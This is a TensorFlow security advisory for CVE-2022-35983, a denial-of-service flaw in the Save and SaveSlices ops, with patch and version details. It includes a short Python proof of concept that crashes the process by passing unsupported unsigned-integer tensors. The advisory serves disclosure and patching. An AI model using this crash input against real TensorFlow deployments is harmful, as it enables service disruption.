TensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices`

TensorFlow

CVE-2022-35983 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

filename = tf.constant("")

tensor_names = tf.constant("")

Save

data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)

tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, )

SaveSlices

shapes_and_slices = tf.constant("")

data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)

tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )

Patches

We have patched the issue in GitHub commit [5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4](https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
